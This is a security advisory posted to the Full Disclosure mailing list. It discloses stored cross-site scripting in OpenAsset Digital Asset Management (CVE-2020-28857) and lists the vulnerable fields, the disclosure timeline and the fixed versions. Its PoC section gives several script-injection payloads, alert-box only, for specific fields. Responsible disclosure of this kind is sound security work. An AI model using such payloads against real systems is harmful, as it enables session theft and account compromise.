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Date: Thu, 10 Dec 2020 07:58:14 +0000
From: Jack Misiura via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Stored cross-site scripting (XSS) in OpenAsset Digital Asset
 Management 11.2.1/12.0.19 disclosure

Title: Stored cross-site scripting (XSS)

 

Product: OpenAsset Digital Asset Management by OpenAsset

 

Vendor Homepage: https://www.openasset.com/

 

Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)

 

Fixed Version: 12.0.23 (Cloud) 11.4.10 (On-premise)

 

CVE Number: CVE-2020-28857

 

Author: Jack Misiura from The Missing Link 

 

Website: https://www.themissinglink.com.au

 

Timeline:

 

2020-11-14 Disclosed to Vendor

2020-12-04 Vendor releases final patches

2020-12-10 Publication

 

1. Vulnerability Description

 

The OpenAsset Digital Asset Management web application allowed for stored cross-site scripting attacks against various parameters and endpoints. Vulnerable parts of the web application include:

 

* System Preferences

              * Project Code regex field

              * User name regex field

              * Password regex field

              * All three description fields

              * First Album Name field

              * Visit Items Per SOAP request field

* Categories description

* Keywords, triggered on deletion attempts

* Editing photographer name

* Access token name

* Web share name

 

2. PoC

 

For system preferences fields, the following payloads can be used:

 

" autofocus onfocus="alert('Stored XSS');" abc="

"><script>alert("Script stored XSS");</script>

 

For categories description:

 

Category Name Goes Here<script>alert('Description stored XSS');</script>

 

For keywords:

 

Delete Me<script>alert(1234);</script>

 

Photographer name:

 

John Smith<script>alert("XSS Attack!");</script>

 

Access token name:

 

TokenName"><script>alert("Stored XSS Tokens")</script>

 

Web share name:

 

Share<script>alert("Stored XSS Web Share Name");</script>

 

3. Solution

 

The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.

 

4. Advisory URL

 

https://www.themissinglink.com.au/security-advisories

 






Jack Misiura​


Application Security Consultant




a



9‑11 Dickson Avenue


Artarmon


NSW


2064



p


1300 865 865



os


+61 2 8436 8585



w


 <https://www.themissinglink.com.au/> themissinglink.com.au








 



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